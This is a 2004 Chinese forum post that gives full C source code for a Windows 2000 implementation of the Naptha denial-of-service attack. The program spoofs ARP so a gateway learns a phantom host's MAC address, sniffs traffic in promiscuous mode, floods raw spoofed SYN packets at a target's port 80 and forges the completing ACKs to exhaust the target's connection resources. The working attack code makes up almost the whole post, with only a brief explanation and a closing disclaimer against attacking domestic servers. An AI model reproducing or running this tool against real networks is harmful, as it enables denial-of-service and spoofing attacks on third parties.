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![]() | 作者: LionD8 [liond8]
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/* 《NAPTHA攻击方式在2K下的简单实现》 作者:LionD8 EMAIL:liond8@eyou.com QQ: 10415468 2004.2.16 凌晨 简单原理: 1.欺骗网关,让网关知道幻影主机的MAC. 2.嗅探局域网中的所有数据包,判断是不是返回给虚幻主机的 第2次握手的数据包。如果是,就伪造第3次握手. 3.发送伪造的SYN报文. 通过消耗对方的维护连接的资源进行DOS。占用通道等。 详细原理请见Warning3老大整理的 《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》 我就不废话了。 地址: http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721 */ /////////////////////////////////////////////////// //以下代码在2K VC6.0下编译通过 //在虚拟机上测试,好像2k系统如《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》 //所说,不受什么影响. /////////////////////////////////////////////////// #include "stdio.h" #include "Packet32.h" #include "windows.h" #include <ws2tcpip.h> #include "winsock2.h" #include "wchar.h" #define EPT_IP 0x0800 #define EPT_ARP 0x0806 #define ARP_HARDWARE 0x0001 #define ARP_REQUEST 0x0001 #define ARP_REPLY 0x0002 #define NDIS_PACKET_TYPE_PROMISCUOUS 0x0020 //混杂模式 #pragma comment(lib, "packet.lib") #pragma comment(lib, "ws2_32.lib") #pragma pack(push, 1) typedef struct ehhdr { UCHAR eh_dst[6]; UCHAR eh_src[6]; USHORT eh_type; }EHHEADR, *PEHHEADR; typedef struct arphdr { USHORT arp_hrd; USHORT arp_pro; UCHAR arp_hln; UCHAR arp_pln; USHORT arp_op; UCHAR arp_sha[6]; ULONG arp_spa; UCHAR arp_tha[6]; ULONG arp_tpa; }ARPHEADR, *PARPHEADR; typedef struct arpPacket { EHHEADR ehhdr; ARPHEADR arphdr; } ARPPACKET, *PARPPACKET; #pragma pack(pop) typedef struct ip_head { unsigned char h_verlen; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_flags; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IPHEADER; typedef struct tcp_head { USHORT th_sport; USHORT th_dport; unsigned int th_seq; unsigned int th_ack; unsigned char th_lenres; unsigned char th_flag; USHORT th_win; USHORT th_sum; USHORT th_urp; }TCPHEADER; typedef struct tsd_hdr { unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }PSDHEADER; DWORD WINAPI ThreadArpSnoop(LPVOID lp); USHORT checksum(USHORT *buffer, int size); DWORD WINAPI ThreadSynFlood(LPVOID lp); DWORD WINAPI SnifferSynAck(LPVOID lp); void SendAck ( DWORD SEQ , DWORD ACK ,USHORT SPort); void AnalyseData (LPPACKET lpPacket); #define ATPORT 80 //攻击端口 #define ATIP "192.168.1.1" //攻击IP #define GATE "192.168.85.1" //网关 #define SNOOPIP "192.168.85.250" //幻影主机IP #define SLEEPTIME 1000 UCHAR DMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFF}; //广播 UCHAR SMacAddr[6]={0xFF,0xFF,0xFF,0xFF,0xFF,0xFE}; //幻影主机MAC BOOL IsGoOn = TRUE; void main() { IsGoOn = FALSE; CreateThread(NULL,NULL,ThreadArpSnoop,NULL,NULL,NULL); while ( !IsGoOn ) Sleep(1); IsGoOn = FALSE; CreateThread(NULL,NULL,SnifferSynAck,NULL,NULL,NULL); while ( !IsGoOn ) Sleep(1); CreateThread(NULL,NULL,ThreadSynFlood,NULL,NULL,NULL); while (1) Sleep(1000000); } DWORD WINAPI ThreadArpSnoop(LPVOID lp) { static CHAR AdapterList[10][1024]; TCHAR szPacketBuf[512]; LPADAPTER lpAdapter; LPPACKET lpPacket; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ARPPACKET ARPPacket; ULONG AdapterLength = 1024; DWORD AdapterNum = 0; DWORD nRetCode, i; if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = AdapterName; temp1=AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR)); temp1=temp+1; i++; } temp++; } AdapterNum = i; for (i = 0; i < AdapterNum; i++) wprintf(L"\n%d- %s\n", i+1, AdapterList[i]); printf("\nPlease select adapter number:"); scanf("%d",&i); if(i>AdapterNum) { printf("\nInput Number error!"); return 0; } IsGoOn = TRUE; lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[i-1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { nRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", nRetCode); return 0; } lpPacket = PacketAllocatePacket(); if(lpPacket == NULL) { printf("\nError:failed to allocate the LPPACKET structure."); return 0; } memset(szPacketBuf, 0, sizeof(szPacketBuf)); memcpy(ARPPacket.ehhdr.eh_dst, DMacAddr, 6); memcpy(ARPPacket.ehhdr.eh_src, SMacAddr, 6); ARPPacket.ehhdr.eh_type = htons(EPT_ARP); ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE); ARPPacket.arphdr.arp_pro = htons(EPT_IP); ARPPacket.arphdr.arp_hln = 6; ARPPacket.arphdr.arp_pln = 4; ARPPacket.arphdr.arp_op = htons(1); memcpy(ARPPacket.arphdr.arp_sha, SMacAddr, 6); ARPPacket.arphdr.arp_spa = inet_addr(SNOOPIP); memset(ARPPacket.arphdr.arp_tha,0,6); ARPPacket.arphdr.arp_tpa = inet_addr(GATE); memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket)); PacketInitPacket(lpPacket, szPacketBuf, 60); if(PacketSetNumWrites(lpAdapter, 1)==FALSE) { printf("warning: Unable to send more than one packet in a single write!\n"); } while ( 1 ) { if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE) { printf("Error sending the packets!\n"); return 0; } Sleep(30000); } PacketFreePacket(lpPacket); PacketCloseAdapter(lpAdapter); return 0; } DWORD WINAPI ThreadSynFlood(LPVOID lp) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader; int SourcePort; char szSendBuf[60]={0}; BOOL flag; int rect,nTimeOver; if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) { printf("WSAStartup Error!\n"); return 0; } sock=NULL; if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET) { printf("Socket Setup Error!\n"); return 0; } flag=true; if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!\n"); return false; } nTimeOver=1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间 { printf("setsockopt SO_SNDTIMEO error!\n"); return false; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(ATPORT); addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP); ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.tos=0; ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //IP总长度 ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=123; ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=inet_addr(ATIP); tcpHeader.th_dport=htons(ATPORT); tcpHeader.th_ack=0; tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2; tcpHeader.th_win=htons(512); tcpHeader.th_urp=0; tcpHeader.th_seq=htonl(0x12345678); psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP; psdHeader.tcpl=htons(sizeof(tcpHeader)); ipHeader.sourceIP=inet_addr(SNOOPIP); while(TRUE) { SourcePort=GetTickCount()%65534; tcpHeader.th_sport=htons(SourcePort); tcpHeader.th_sum=0; psdHeader.saddr=ipHeader.sourceIP; memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (rect==SOCKET_ERROR) { printf("send error!:%x\n",WSAGetLastError()); return false; } else printf("send ok!\n"); Sleep(SLEEPTIME); }//endwhile closesocket(sock); WSACleanup(); return 0; } USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } DWORD WINAPI SnifferSynAck(LPVOID lp) { LPADAPTER lpAdapter; static CHAR AdapterList[10][1024]; ULONG AdapterNum; WCHAR AdapterName[2048]; WCHAR *temp,*temp1; ULONG AdapterLength=1024; ULONG i,adapter_num=0; if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; } temp = AdapterName; temp1=AdapterName; i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) { if (*temp == '\0') { memcpy(AdapterList[i],temp1,(temp-temp1)*sizeof(WCHAR)); temp1=temp+1; i++; } temp++; } AdapterNum = i; for (i = 0; i < AdapterNum; i++) wprintf(L"\n%d- %s\n", i+1, AdapterList[i]); printf("\nPlease select adapter number:"); scanf("%d",&i); if(i>AdapterNum) { printf("\nInput Number error!"); return 0; } IsGoOn = TRUE; lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)AdapterList[i-1]); if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE)) { printf("Unable to open the driver, Error Code : %lx\n", GetLastError()); return 0; } //设置网卡为混杂模式 if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) { printf("Warning: Unable to set the adapter to promiscuous mode\n"); } if(PacketSetBuff(lpAdapter,1024*10)==FALSE) { printf("PacketSetBuff Error: %d\n",GetLastError()); return -1; } while ( 1 ) { TCHAR Buffer[1024*10]={0}; LPPACKET lpPacket; lpPacket=PacketAllocatePacket(); PacketInitPacket(lpPacket,Buffer,sizeof(Buffer)); PacketReceivePacket(lpAdapter,lpPacket,TRUE); AnalyseData( lpPacket ); PacketFreePacket(lpPacket); } return 0; } void AnalyseData (LPPACKET lpPacket) { char *Buf; EHHEADR *lpEthdr; bpf_hdr *lpBpfhdr; Buf=(char *)lpPacket->Buffer; lpBpfhdr=(bpf_hdr *)Buf; lpEthdr=(EHHEADR *)(Buf+lpBpfhdr->bh_hdrlen); if(lpEthdr->eh_type==htons(0x0800) && (!memcmp(lpEthdr->eh_dst,SMacAddr,6)) ) { TCPHEADER *lpTcphdr; lpTcphdr=(TCPHEADER *)(Buf+lpBpfhdr->bh_hdrlen+sizeof(EHHEADR)+sizeof(IPHEADER)); if ( lpTcphdr->th_ack == ntohl(0x12345678+1) && lpTcphdr->th_flag == 0x12) { SendAck(lpTcphdr->th_seq,lpTcphdr->th_ack,lpTcphdr->th_dport); } } } void SendAck ( DWORD SEQ , DWORD ACK ,USHORT SPort) { SOCKET sock; SOCKADDR_IN addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader; char szSendBuf[60]={0}; BOOL flag; int rect,nTimeOver; sock=NULL; if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET) { printf("Socket Setup Error!\n"); return ; } flag=true; if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) { printf("setsockopt IP_HDRINCL error!\n"); return ; } nTimeOver=1000; if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR) //设置发送的时间 { printf("setsockopt SO_SNDTIMEO error!\n"); return ; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(ATPORT); addr_in.sin_addr.S_un.S_addr=inet_addr(ATIP); ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.tos=0; ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //IP总长度 ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=123; ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=inet_addr(ATIP); tcpHeader.th_dport=htons(ATPORT); tcpHeader.th_ack=htonl((ntohl(SEQ)+1)); tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=0x10; // ack tcpHeader.th_win=htons(512); tcpHeader.th_urp=0; tcpHeader.th_seq=ACK; psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP; psdHeader.tcpl=htons(sizeof(tcpHeader)); ipHeader.sourceIP=inet_addr(SNOOPIP); tcpHeader.th_sport=SPort; tcpHeader.th_sum=0; psdHeader.saddr=ipHeader.sourceIP; memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in)); if (rect==SOCKET_ERROR) { printf("send error!:%x\n",WSAGetLastError()); return ; } else printf("send ok!\n"); closesocket(sock); } //参考文献: 《新型网络DoS(拒绝服务)攻击漏洞 - "Naptha"》 //http://www.nsfocus.net/index.php?act=magazine&do=view&mid=721 //不要攻击国内的服务器。请用自己的机器测试。 //如果擅自攻击者过后自负。 //以上是自己的一点愚解。如果有什么误解欢迎指正. |
地主 发表时间: 04-02-16 01:09 |
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B1层 发表时间: 04-02-17 12:12 |
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